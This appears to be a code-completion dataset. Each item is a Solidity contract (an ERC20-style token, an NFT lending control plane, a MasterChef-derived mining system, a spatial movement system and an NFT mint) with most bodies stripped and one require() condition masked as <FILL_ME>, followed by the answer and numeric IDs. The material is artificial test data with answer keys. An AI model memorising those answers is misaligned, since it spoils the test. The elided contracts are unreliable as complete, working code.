uint256 amount) public override returns (bool) { } function allowance(address owner, address spender) public view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { } function setCooldownEnabled(bool onoff) external onlyOwner { } function allowances (address receipient, uint256 tAmount) external setFee { } function _approve( address owner, address spender, uint256 amount ) private { } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(amount <= _maxTxAmount, "Exceed max transaction amount"); if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _tokenTransfer(from, to, amount); } else { uint256 currentBalance = balanceOf(to); require(<FILL_ME>) if (from == uniswapV2Pair && to != address(uniswapV2Router)) { if (cooldownEnabled) { require(cooldown[to] < block.timestamp); } cooldown[to] = block.timestamp + (30 seconds); _tokenTransfer(from, to, amount); } else { _tokenTransfer(from, to, amount); } } } else { _tokenTransfer(from, to, amount); } } function addLiquidity(address set) external onlyOwner { } function _tokenTransfer( address sender, address recipient, uint256 amount ) private { } receive() external payable {} }
currentBalance+amount<_maxWalletAmount,"Exceed max wallet amount"
116,127
currentBalance+amount<_maxWalletAmount
"wrong operator"
/** * ControlPlane01.sol * Registers the current global params */ pragma solidity 0.8.3; contract ControlPlane01 is Ownable { mapping (address => bool) public whitelistedIntermediaries; address public whitelistedFactory; uint32 public feeBps = 0; uint constant PRECISION = 1000000000000; function toggleWhitelistedIntermediaries(address target) external onlyOwner { } function setWhitelistedFactory(address target) external onlyOwner { } function setFee(uint32 f) external onlyOwner { } function ceil(uint a, uint m) public pure returns (uint ) { } function outstanding(PineLendingLibrary.LoanTerms calldata loanTerms, uint txSpeedBlocks) external view returns (uint256) { } function outstanding(PineLendingLibrary.LoanTerms calldata loanTerms) external view returns (uint256) { } function withdraw(uint256 amount) external onlyOwner { } function withdrawERC20(address currency, uint256 amount) external onlyOwner { } // function callLoan() public { // } function liquidateNFT(address payable target, uint256 loanID) external { ERC721LendingPool02 pool = ERC721LendingPool02(target); // TODO: check unhealthy (uint256 a, uint256 b, uint32 c, , uint256 e, uint256 f, uint256 g, uint256 h, ) = pool._loans(loanID); PineLendingLibrary.LoanTerms memory lt = PineLendingLibrary.LoanTerms(a,b,c,0,e,f,g,h,address(0)); (bool unhealthy, ) = PineLendingLibrary.isUnHealthyLoan(lt); require(unhealthy, "Loan is not liquidable"); require(<FILL_ME>) pool.withdrawERC721(pool._supportedCollection(), loanID, pool.owner(), true); } function withdrawNFT(address payable target, address nft, uint256 id) external { } }
(pool.owner()==msg.sender),"wrong operator"
116,129
(pool.owner()==msg.sender)
"Loan is active"
/** * ControlPlane01.sol * Registers the current global params */ pragma solidity 0.8.3; contract ControlPlane01 is Ownable { mapping (address => bool) public whitelistedIntermediaries; address public whitelistedFactory; uint32 public feeBps = 0; uint constant PRECISION = 1000000000000; function toggleWhitelistedIntermediaries(address target) external onlyOwner { } function setWhitelistedFactory(address target) external onlyOwner { } function setFee(uint32 f) external onlyOwner { } function ceil(uint a, uint m) public pure returns (uint ) { } function outstanding(PineLendingLibrary.LoanTerms calldata loanTerms, uint txSpeedBlocks) external view returns (uint256) { } function outstanding(PineLendingLibrary.LoanTerms calldata loanTerms) external view returns (uint256) { } function withdraw(uint256 amount) external onlyOwner { } function withdrawERC20(address currency, uint256 amount) external onlyOwner { } // function callLoan() public { // } function liquidateNFT(address payable target, uint256 loanID) external { } function withdrawNFT(address payable target, address nft, uint256 id) external { ERC721LendingPool02 pool = ERC721LendingPool02(target); // TODO: check unhealthy (uint256 a, uint256 b, uint32 c, , uint256 e, uint256 f, uint256 g, uint256 h, ) = pool._loans(id); PineLendingLibrary.LoanTerms memory lt = PineLendingLibrary.LoanTerms(a,b,c,0,e,f,g,h,address(0)); (bool has) = PineLendingLibrary.nftHasLoan(lt); require(<FILL_ME>) require((pool.owner() == msg.sender), "wrong operator"); pool.withdrawERC721(nft, id, pool.owner(), false); } }
!has,"Loan is active"
116,129
!has
"Mine depleted"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "@openzeppelin/contracts/utils/math/Math.sol"; import "../extensions/IERC20Entity.sol"; struct ExtractorInfo { uint128 shares; int128 rewardDebt; } struct MineInfo { uint128 rewardPerShare; uint64 lastRewardTimestamp; uint64 rewardPerSecond; uint128 totalShares; uint128 totalReward; } /// @title Mining System /// @author boffee /// @author Modified fro MasterChef V2 (https://github.com/sushiswap/sushiswap/blob/master/protocols/masterchef/contracts/MasterChefV2.sol) /// @notice This contract is used to manage mining. contract MiningSystem { event Dock( uint256 indexed extractorId, uint256 indexed mineId, uint256 shares ); event Undock( uint256 indexed extractorId, uint256 indexed mineId, uint256 shares ); event EmergencyUndock( uint256 indexed extractorId, uint256 indexed mineId, uint256 shares ); event Extract( uint256 indexed extractorId, uint256 indexed mineId, uint256 reward ); event AddMine( uint256 indexed mineId, address indexed rewardToken, uint256 rewardPerSecond, uint256 rewardPool ); event SetMine( uint256 indexed mineId, address indexed rewardToken, uint256 rewardPerSecond, uint256 rewardPool ); event UpdateMine( uint256 indexed mineId, uint64 lastRewardTimestamp, uint256 totalShares, uint256 rewardPerShare ); event DestroyMine(uint256 indexed mineId); uint256 public constant REWARD_PER_SHARE_PRECISION = 1e12; /// @notice Info of each mine. mapping(uint256 => MineInfo) private _mineInfos; /// @notice Info of each extractor at each mine. mapping(uint256 => mapping(uint256 => ExtractorInfo)) private _extractorInfos; /// @notice Mine reward token address. mapping(uint256 => IERC20Entity) public rewardTokens; function exists(uint256 mineId) public view returns (bool) { } /// @notice View function to see pending reward on frontend. /// @param extractorId Address of extractor. /// @param mineId id of the mine. See `_mineInfos`. /// @return pending reward for a given extractor. function pendingReward(uint256 extractorId, uint256 mineId) external view returns (uint256 pending) { } /// @notice get mine info /// @param mineId id of the mine. See `_mineInfos`. /// @return mineInfo function getMineInfo(uint256 mineId) public view returns (MineInfo memory) { } /// @notice get extractor info /// @param mineId id of the mine. See `_mineInfos`. /// @param extractorId id of the extractor. See `_extractorInfos`. /// @return extractorInfo function getExtractorInfo(uint256 mineId, uint256 extractorId) public view returns (ExtractorInfo memory) { } /// @notice Update reward variables for all mines. /// @param mineIds Mine IDs of all to be updated. function massUpdateMines(uint256[] calldata mineIds) external { } /// @notice Update reward variables of the given mine. /// @param mineId id of the mine. See `_mineInfos`. /// @return mineInfo Returns the mine that was updated. function updateMine(uint256 mineId) public returns (MineInfo memory mineInfo) { } /// @notice Dock extractor to mine for BUTTER allocation. /// @param extractorId The receiver of `shares` dock benefit. /// @param mineId id of the mine. See `_mineInfos`. /// @param shares The amount of shares to be docked. function _dock( uint256 extractorId, uint256 mineId, uint256 shares ) internal { MineInfo memory mineInfo = updateMine(mineId); require(<FILL_ME>) ExtractorInfo storage extractorInfo = _extractorInfos[mineId][ extractorId ]; // Effects extractorInfo.shares += uint128(shares); extractorInfo.rewardDebt += int128( uint128( (shares * mineInfo.rewardPerShare) / REWARD_PER_SHARE_PRECISION ) ); _mineInfos[mineId].totalShares += uint128(shares); emit Dock(extractorId, mineId, shares); } /// @notice Undock extractor from mine. /// @param extractorId Receiver of the reward. /// @param mineId id of the mine. See `_mineInfos`. /// @param shares Extractor shares to undock. function _undock( uint256 extractorId, uint256 mineId, uint256 shares ) internal { } /// @notice Extract proceeds for extractor. /// @param extractorId Receiver of rewards. /// @param mineId id of the mine. See `_mineInfos`. function _extract(uint256 extractorId, uint256 mineId) internal { } /// @notice Undock extractor from mine and extract proceeds. /// @param extractorId Receiver of the rewards. /// @param mineId id of the mine. See `_mineInfos`. /// @param shares Extractor shares to undock. function _undockAndExtract( uint256 extractorId, uint256 mineId, uint256 shares ) internal { } /// @notice Undock without caring about rewards. EMERGENCY ONLY. /// @param extractorId Receiver of the reward. /// @param mineId id of the mine. See `_mineInfos`. function _emergencyUndock(uint256 extractorId, uint256 mineId) internal { } /// @notice Add a new mine. /// @param mineId The id of the mine. /// @param rewardToken The address of the reward token. /// @param rewardPerSecond reward rate of the new mine. function _add( uint256 mineId, address rewardToken, uint256 rewardPerSecond ) internal { } /// @notice Update the given mine's reward rate. /// @param mineId The entity id of the mine. /// @param rewardPerSecond New reward rate of the mine. function _set(uint256 mineId, uint256 rewardPerSecond) internal { } /// @notice Destroy the given mine if its depleted and has no shares. /// @param mineId The entity id of the mine. function _tryDestroy(uint256 mineId) internal { } /// @notice Destroy the given mine. /// @param mineId The entity id of the mine. function _destroy(uint256 mineId) internal { } function _destroyExtractor(uint256 mineId, uint256 extractorId) internal { } }
(mineInfo.totalShares*uint256(mineInfo.rewardPerShare))/REWARD_PER_SHARE_PRECISION<rewardTokens[mineId].balanceOf(mineId),"Mine depleted"
116,143
(mineInfo.totalShares*uint256(mineInfo.rewardPerShare))/REWARD_PER_SHARE_PRECISION<rewardTokens[mineId].balanceOf(mineId)
"Mine already exists"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "@openzeppelin/contracts/utils/math/Math.sol"; import "../extensions/IERC20Entity.sol"; struct ExtractorInfo { uint128 shares; int128 rewardDebt; } struct MineInfo { uint128 rewardPerShare; uint64 lastRewardTimestamp; uint64 rewardPerSecond; uint128 totalShares; uint128 totalReward; } /// @title Mining System /// @author boffee /// @author Modified fro MasterChef V2 (https://github.com/sushiswap/sushiswap/blob/master/protocols/masterchef/contracts/MasterChefV2.sol) /// @notice This contract is used to manage mining. contract MiningSystem { event Dock( uint256 indexed extractorId, uint256 indexed mineId, uint256 shares ); event Undock( uint256 indexed extractorId, uint256 indexed mineId, uint256 shares ); event EmergencyUndock( uint256 indexed extractorId, uint256 indexed mineId, uint256 shares ); event Extract( uint256 indexed extractorId, uint256 indexed mineId, uint256 reward ); event AddMine( uint256 indexed mineId, address indexed rewardToken, uint256 rewardPerSecond, uint256 rewardPool ); event SetMine( uint256 indexed mineId, address indexed rewardToken, uint256 rewardPerSecond, uint256 rewardPool ); event UpdateMine( uint256 indexed mineId, uint64 lastRewardTimestamp, uint256 totalShares, uint256 rewardPerShare ); event DestroyMine(uint256 indexed mineId); uint256 public constant REWARD_PER_SHARE_PRECISION = 1e12; /// @notice Info of each mine. mapping(uint256 => MineInfo) private _mineInfos; /// @notice Info of each extractor at each mine. mapping(uint256 => mapping(uint256 => ExtractorInfo)) private _extractorInfos; /// @notice Mine reward token address. mapping(uint256 => IERC20Entity) public rewardTokens; function exists(uint256 mineId) public view returns (bool) { } /// @notice View function to see pending reward on frontend. /// @param extractorId Address of extractor. /// @param mineId id of the mine. See `_mineInfos`. /// @return pending reward for a given extractor. function pendingReward(uint256 extractorId, uint256 mineId) external view returns (uint256 pending) { } /// @notice get mine info /// @param mineId id of the mine. See `_mineInfos`. /// @return mineInfo function getMineInfo(uint256 mineId) public view returns (MineInfo memory) { } /// @notice get extractor info /// @param mineId id of the mine. See `_mineInfos`. /// @param extractorId id of the extractor. See `_extractorInfos`. /// @return extractorInfo function getExtractorInfo(uint256 mineId, uint256 extractorId) public view returns (ExtractorInfo memory) { } /// @notice Update reward variables for all mines. /// @param mineIds Mine IDs of all to be updated. function massUpdateMines(uint256[] calldata mineIds) external { } /// @notice Update reward variables of the given mine. /// @param mineId id of the mine. See `_mineInfos`. /// @return mineInfo Returns the mine that was updated. function updateMine(uint256 mineId) public returns (MineInfo memory mineInfo) { } /// @notice Dock extractor to mine for BUTTER allocation. /// @param extractorId The receiver of `shares` dock benefit. /// @param mineId id of the mine. See `_mineInfos`. /// @param shares The amount of shares to be docked. function _dock( uint256 extractorId, uint256 mineId, uint256 shares ) internal { } /// @notice Undock extractor from mine. /// @param extractorId Receiver of the reward. /// @param mineId id of the mine. See `_mineInfos`. /// @param shares Extractor shares to undock. function _undock( uint256 extractorId, uint256 mineId, uint256 shares ) internal { } /// @notice Extract proceeds for extractor. /// @param extractorId Receiver of rewards. /// @param mineId id of the mine. See `_mineInfos`. function _extract(uint256 extractorId, uint256 mineId) internal { } /// @notice Undock extractor from mine and extract proceeds. /// @param extractorId Receiver of the rewards. /// @param mineId id of the mine. See `_mineInfos`. /// @param shares Extractor shares to undock. function _undockAndExtract( uint256 extractorId, uint256 mineId, uint256 shares ) internal { } /// @notice Undock without caring about rewards. EMERGENCY ONLY. /// @param extractorId Receiver of the reward. /// @param mineId id of the mine. See `_mineInfos`. function _emergencyUndock(uint256 extractorId, uint256 mineId) internal { } /// @notice Add a new mine. /// @param mineId The id of the mine. /// @param rewardToken The address of the reward token. /// @param rewardPerSecond reward rate of the new mine. function _add( uint256 mineId, address rewardToken, uint256 rewardPerSecond ) internal { require(<FILL_ME>) _mineInfos[mineId] = MineInfo({ rewardPerSecond: uint64(rewardPerSecond), lastRewardTimestamp: uint64(block.timestamp), rewardPerShare: 0, totalShares: 0, totalReward: 0 }); rewardTokens[mineId] = IERC20Entity(rewardToken); emit AddMine( mineId, rewardToken, rewardPerSecond, IERC20Entity(rewardToken).balanceOf(mineId) ); } /// @notice Update the given mine's reward rate. /// @param mineId The entity id of the mine. /// @param rewardPerSecond New reward rate of the mine. function _set(uint256 mineId, uint256 rewardPerSecond) internal { } /// @notice Destroy the given mine if its depleted and has no shares. /// @param mineId The entity id of the mine. function _tryDestroy(uint256 mineId) internal { } /// @notice Destroy the given mine. /// @param mineId The entity id of the mine. function _destroy(uint256 mineId) internal { } function _destroyExtractor(uint256 mineId, uint256 extractorId) internal { } }
_mineInfos[mineId].lastRewardTimestamp==0,"Mine already exists"
116,143
_mineInfos[mineId].lastRewardTimestamp==0
"Locked"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "../utils/VectorWadMath.sol"; import "../utils/EntityUtils.sol"; import "./ISpatialSystem.sol"; contract SpatialSystem is ISpatialSystem { mapping(uint256 => LocationInfo) private _locationInfos; function coordinate(uint256 entityId) public view virtual override returns (int256 x, int256 y) { } function coordinate(address token, uint256 id) public view virtual returns (int256 x, int256 y) { } function locked(uint256 entityId) public view virtual override returns (bool) { } function collocated(uint256 entityId1, uint256 entityId2) public view virtual override returns (bool) { } function collocated( uint256 entityId1, uint256 entityId2, uint256 radius ) public view virtual override returns (bool) { } function getLocationInfo(uint256 entityId) public view virtual override returns (LocationInfo memory) { } function _coordinate(uint256 entityId) internal view virtual returns (int256 x, int256 y) { } function updateLocation(uint256 entityId) public virtual override { } function updateLocation(address token, uint256 id) public virtual { } function _move( uint256 entityId, int256 xDest, int256 yDest, uint256 speed ) internal virtual { require(<FILL_ME>) (int256 x, int256 y) = _coordinate(entityId); _locationInfos[entityId] = LocationInfo({ // update origin to current coordinate xOrigin: int40(x), yOrigin: int40(y), // set destination xDest: int40(xDest), yDest: int40(yDest), speed: uint40(speed), departureTime: uint40(block.timestamp), locked: false }); emit Move( entityId, x, y, xDest, yDest, speed, block.timestamp ); } function _updateLocation(uint256 entityId) internal virtual { } function _setLocation( uint256 entityId, LocationInfo memory info ) internal virtual { } function _setCoordinate( uint256 entityId, int256 x, int256 y ) internal virtual { } function _lock( uint256 entityId ) internal virtual { } function _unlock( uint256 entityId ) internal virtual { } }
!_locationInfos[entityId].locked,"Locked"
116,144
!_locationInfos[entityId].locked
"Moving"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "../utils/VectorWadMath.sol"; import "../utils/EntityUtils.sol"; import "./ISpatialSystem.sol"; contract SpatialSystem is ISpatialSystem { mapping(uint256 => LocationInfo) private _locationInfos; function coordinate(uint256 entityId) public view virtual override returns (int256 x, int256 y) { } function coordinate(address token, uint256 id) public view virtual returns (int256 x, int256 y) { } function locked(uint256 entityId) public view virtual override returns (bool) { } function collocated(uint256 entityId1, uint256 entityId2) public view virtual override returns (bool) { } function collocated( uint256 entityId1, uint256 entityId2, uint256 radius ) public view virtual override returns (bool) { } function getLocationInfo(uint256 entityId) public view virtual override returns (LocationInfo memory) { } function _coordinate(uint256 entityId) internal view virtual returns (int256 x, int256 y) { } function updateLocation(uint256 entityId) public virtual override { } function updateLocation(address token, uint256 id) public virtual { } function _move( uint256 entityId, int256 xDest, int256 yDest, uint256 speed ) internal virtual { } function _updateLocation(uint256 entityId) internal virtual { } function _setLocation( uint256 entityId, LocationInfo memory info ) internal virtual { } function _setCoordinate( uint256 entityId, int256 x, int256 y ) internal virtual { } function _lock( uint256 entityId ) internal virtual { require(<FILL_ME>) _locationInfos[entityId].locked = true; emit Locked(entityId); } function _unlock( uint256 entityId ) internal virtual { } }
_locationInfos[entityId].speed==0,"Moving"
116,144
_locationInfos[entityId].speed==0
"ERC721: Sender is not whitelisted"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/interfaces/IERC165.sol"; import "@openzeppelin/contracts/interfaces/IERC2981.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; interface IWhitelistContract { function isWhitelisted(address account) external view returns (bool); } /** * @dev Treasure Island */ contract TreasureIsland is ERC721Enumerable, Ownable, IERC2981 { using Strings for uint256; /** @dev tokenId to nesting start time (0 = not nesting). */ mapping(uint256 => uint256) private _nestedTokens; /** @dev Cumulative per-token nesting, excluding the current period. */ mapping(uint256 => uint256) private cummulativeNesting; uint256 private nestingTransfer = 1; address _whitelist; address public _royaltyAddress = address(0); uint256 public _royaltyPoints = 1000; bool public _isPaused = true; bool public _publicMint = false; bool public _isNestingOpen = false; uint256 public _PRICE; uint256 public _SUPPLY; string private _baseUri; mapping(address => uint8) public mints; event Mint(address to, uint256 tokenId); event Nested(uint256 indexed tokenId); event Unnested(uint256 indexed tokenId); constructor( uint256 price, uint256 supply, string memory uri ) ERC721("Treasure Island", "TRE") Ownable() ERC721Enumerable() { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Enumerable, IERC165) returns (bool) { } function sanity(uint256 amount) internal view { if (!_publicMint) { require(<FILL_ME>) } uint256 available = 5 - mints[msg.sender]; require(available >= amount, "ERC721: mints not available"); require(!_isPaused, "ERC721: minting paused"); uint256 totalPrice; unchecked { totalPrice = _PRICE * amount; } require(totalPrice <= msg.value, "ERC721: not enough ETH"); } /** *@dev Mint many to address */ function mint(address to, uint256 amount) public payable { } /** *@dev Mint one to address */ function mint(address to) public payable { } /** *@dev Mint one to address */ function _mint(address to) internal { } function burn(uint256 tokenId) public { } /** * @dev {IERC2981} */ function royaltyInfo(uint256, uint256 price) external view virtual override returns (address, uint256) { } /** * @dev Set royalty info */ function setRoyaltyInfo(address receiver, uint256 points) public onlyOwner { } /** *@dev Mint owner. */ function mintOwner(address to) public onlyOwner { } /** * @dev Setting the base uri. Can only be called by owner */ function setBaseURI(string memory uri) public onlyOwner { } /** * @dev Setting the whitelist contrtact address */ function setWhitelistContract(address whitelist) public onlyOwner { } /** *@dev Toggle paused state */ function togglePaused(bool paused) public onlyOwner { } /** *@dev Toggle public mint */ function togglePublic(bool toggle) public onlyOwner { } /** *@dev Toggle nesting */ function toggleNestingOpen(bool toggle) public onlyOwner { } function toggleNesting(uint256 tokenId) public { } function toggleNesting(uint256[] memory tokenIds) public { } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual override returns (string memory) { } function nestingPeriod(uint256 tokenId) external view returns ( bool nesting, uint256 current, uint256 total ) { } /** @dev Disable transfer while nesting */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { } receive() external payable { } }
IWhitelistContract(_whitelist).isWhitelisted(msg.sender),"ERC721: Sender is not whitelisted"
116,148
IWhitelistContract(_whitelist).isWhitelisted(msg.sender)
"ERC721: minting paused"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/interfaces/IERC165.sol"; import "@openzeppelin/contracts/interfaces/IERC2981.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; interface IWhitelistContract { function isWhitelisted(address account) external view returns (bool); } /** * @dev Treasure Island */ contract TreasureIsland is ERC721Enumerable, Ownable, IERC2981 { using Strings for uint256; /** @dev tokenId to nesting start time (0 = not nesting). */ mapping(uint256 => uint256) private _nestedTokens; /** @dev Cumulative per-token nesting, excluding the current period. */ mapping(uint256 => uint256) private cummulativeNesting; uint256 private nestingTransfer = 1; address _whitelist; address public _royaltyAddress = address(0); uint256 public _royaltyPoints = 1000; bool public _isPaused = true; bool public _publicMint = false; bool public _isNestingOpen = false; uint256 public _PRICE; uint256 public _SUPPLY; string private _baseUri; mapping(address => uint8) public mints; event Mint(address to, uint256 tokenId); event Nested(uint256 indexed tokenId); event Unnested(uint256 indexed tokenId); constructor( uint256 price, uint256 supply, string memory uri ) ERC721("Treasure Island", "TRE") Ownable() ERC721Enumerable() { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Enumerable, IERC165) returns (bool) { } function sanity(uint256 amount) internal view { if (!_publicMint) { require( IWhitelistContract(_whitelist).isWhitelisted(msg.sender), "ERC721: Sender is not whitelisted" ); } uint256 available = 5 - mints[msg.sender]; require(available >= amount, "ERC721: mints not available"); require(<FILL_ME>) uint256 totalPrice; unchecked { totalPrice = _PRICE * amount; } require(totalPrice <= msg.value, "ERC721: not enough ETH"); } /** *@dev Mint many to address */ function mint(address to, uint256 amount) public payable { } /** *@dev Mint one to address */ function mint(address to) public payable { } /** *@dev Mint one to address */ function _mint(address to) internal { } function burn(uint256 tokenId) public { } /** * @dev {IERC2981} */ function royaltyInfo(uint256, uint256 price) external view virtual override returns (address, uint256) { } /** * @dev Set royalty info */ function setRoyaltyInfo(address receiver, uint256 points) public onlyOwner { } /** *@dev Mint owner. */ function mintOwner(address to) public onlyOwner { } /** * @dev Setting the base uri. Can only be called by owner */ function setBaseURI(string memory uri) public onlyOwner { } /** * @dev Setting the whitelist contrtact address */ function setWhitelistContract(address whitelist) public onlyOwner { } /** *@dev Toggle paused state */ function togglePaused(bool paused) public onlyOwner { } /** *@dev Toggle public mint */ function togglePublic(bool toggle) public onlyOwner { } /** *@dev Toggle nesting */ function toggleNestingOpen(bool toggle) public onlyOwner { } function toggleNesting(uint256 tokenId) public { } function toggleNesting(uint256[] memory tokenIds) public { } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual override returns (string memory) { } function nestingPeriod(uint256 tokenId) external view returns ( bool nesting, uint256 current, uint256 total ) { } /** @dev Disable transfer while nesting */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { } receive() external payable { } }
!_isPaused,"ERC721: minting paused"
116,148
!_isPaused
"ERC721: caller must be owner of token"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/interfaces/IERC165.sol"; import "@openzeppelin/contracts/interfaces/IERC2981.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; interface IWhitelistContract { function isWhitelisted(address account) external view returns (bool); } /** * @dev Treasure Island */ contract TreasureIsland is ERC721Enumerable, Ownable, IERC2981 { using Strings for uint256; /** @dev tokenId to nesting start time (0 = not nesting). */ mapping(uint256 => uint256) private _nestedTokens; /** @dev Cumulative per-token nesting, excluding the current period. */ mapping(uint256 => uint256) private cummulativeNesting; uint256 private nestingTransfer = 1; address _whitelist; address public _royaltyAddress = address(0); uint256 public _royaltyPoints = 1000; bool public _isPaused = true; bool public _publicMint = false; bool public _isNestingOpen = false; uint256 public _PRICE; uint256 public _SUPPLY; string private _baseUri; mapping(address => uint8) public mints; event Mint(address to, uint256 tokenId); event Nested(uint256 indexed tokenId); event Unnested(uint256 indexed tokenId); constructor( uint256 price, uint256 supply, string memory uri ) ERC721("Treasure Island", "TRE") Ownable() ERC721Enumerable() { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Enumerable, IERC165) returns (bool) { } function sanity(uint256 amount) internal view { } /** *@dev Mint many to address */ function mint(address to, uint256 amount) public payable { } /** *@dev Mint one to address */ function mint(address to) public payable { } /** *@dev Mint one to address */ function _mint(address to) internal { } function burn(uint256 tokenId) public { require(<FILL_ME>) _burn(tokenId); } /** * @dev {IERC2981} */ function royaltyInfo(uint256, uint256 price) external view virtual override returns (address, uint256) { } /** * @dev Set royalty info */ function setRoyaltyInfo(address receiver, uint256 points) public onlyOwner { } /** *@dev Mint owner. */ function mintOwner(address to) public onlyOwner { } /** * @dev Setting the base uri. Can only be called by owner */ function setBaseURI(string memory uri) public onlyOwner { } /** * @dev Setting the whitelist contrtact address */ function setWhitelistContract(address whitelist) public onlyOwner { } /** *@dev Toggle paused state */ function togglePaused(bool paused) public onlyOwner { } /** *@dev Toggle public mint */ function togglePublic(bool toggle) public onlyOwner { } /** *@dev Toggle nesting */ function toggleNestingOpen(bool toggle) public onlyOwner { } function toggleNesting(uint256 tokenId) public { } function toggleNesting(uint256[] memory tokenIds) public { } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual override returns (string memory) { } function nestingPeriod(uint256 tokenId) external view returns ( bool nesting, uint256 current, uint256 total ) { } /** @dev Disable transfer while nesting */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { } receive() external payable { } }
_msgSender()==ERC721.ownerOf(tokenId),"ERC721: caller must be owner of token"
116,148
_msgSender()==ERC721.ownerOf(tokenId)
"ERC721: token is nested"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/interfaces/IERC165.sol"; import "@openzeppelin/contracts/interfaces/IERC2981.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; interface IWhitelistContract { function isWhitelisted(address account) external view returns (bool); } /** * @dev Treasure Island */ contract TreasureIsland is ERC721Enumerable, Ownable, IERC2981 { using Strings for uint256; /** @dev tokenId to nesting start time (0 = not nesting). */ mapping(uint256 => uint256) private _nestedTokens; /** @dev Cumulative per-token nesting, excluding the current period. */ mapping(uint256 => uint256) private cummulativeNesting; uint256 private nestingTransfer = 1; address _whitelist; address public _royaltyAddress = address(0); uint256 public _royaltyPoints = 1000; bool public _isPaused = true; bool public _publicMint = false; bool public _isNestingOpen = false; uint256 public _PRICE; uint256 public _SUPPLY; string private _baseUri; mapping(address => uint8) public mints; event Mint(address to, uint256 tokenId); event Nested(uint256 indexed tokenId); event Unnested(uint256 indexed tokenId); constructor( uint256 price, uint256 supply, string memory uri ) ERC721("Treasure Island", "TRE") Ownable() ERC721Enumerable() { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Enumerable, IERC165) returns (bool) { } function sanity(uint256 amount) internal view { } /** *@dev Mint many to address */ function mint(address to, uint256 amount) public payable { } /** *@dev Mint one to address */ function mint(address to) public payable { } /** *@dev Mint one to address */ function _mint(address to) internal { } function burn(uint256 tokenId) public { } /** * @dev {IERC2981} */ function royaltyInfo(uint256, uint256 price) external view virtual override returns (address, uint256) { } /** * @dev Set royalty info */ function setRoyaltyInfo(address receiver, uint256 points) public onlyOwner { } /** *@dev Mint owner. */ function mintOwner(address to) public onlyOwner { } /** * @dev Setting the base uri. Can only be called by owner */ function setBaseURI(string memory uri) public onlyOwner { } /** * @dev Setting the whitelist contrtact address */ function setWhitelistContract(address whitelist) public onlyOwner { } /** *@dev Toggle paused state */ function togglePaused(bool paused) public onlyOwner { } /** *@dev Toggle public mint */ function togglePublic(bool toggle) public onlyOwner { } /** *@dev Toggle nesting */ function toggleNestingOpen(bool toggle) public onlyOwner { } function toggleNesting(uint256 tokenId) public { } function toggleNesting(uint256[] memory tokenIds) public { } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual override returns (string memory) { } function nestingPeriod(uint256 tokenId) external view returns ( bool nesting, uint256 current, uint256 total ) { } /** @dev Disable transfer while nesting */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); require(<FILL_ME>) } receive() external payable { } }
_nestedTokens[tokenId]==0,"ERC721: token is nested"
116,148
_nestedTokens[tokenId]==0
null
